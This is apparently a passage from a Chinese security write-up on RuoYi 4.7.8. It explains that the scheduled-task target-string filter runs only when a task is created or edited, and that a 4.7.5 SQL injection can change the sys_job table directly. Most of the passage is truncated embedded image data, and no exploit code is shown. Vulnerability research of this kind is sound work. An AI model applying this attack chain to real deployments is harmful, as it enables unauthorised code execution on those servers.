<p blockindex=90><img src="data:image/png;base64,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
<h2 blockindex=91>4.7.8（最新版）</h2>
<p blockindex=92>依旧是没办法绕过黑白名单的限制。之前我们大概分析了一下定时任务的创建。对<strong>调用目标字符串</strong>过滤是在定时任务创建时进行的</p>
<p blockindex=93>审计之后可以看到，对目标字符串的过滤只发生在增加、修改计划任务时</p>
<p blockindex=94><img src="data:image/png;base64,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
<p blockindex=95>创建后的定时任务信息存储在<strong>sys_job</strong>表中</p>
<p blockindex=96><img src="data:image/png;base64,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
<p blockindex=97>结合4.7.5 版本下的sql注入漏洞，直接修改表中的数据<br>
参考：<a href=https://gitee.com/y_project/RuoYi/issues/I65V2B>https://gitee.com/y_project/RuoYi/issues/I65V2B</a></p>
<p blockindex=98>在<code>com.ruoyi.generator.controller.GenController#create</code></p>
<p blockindex=99><img src="data:image/png;base64,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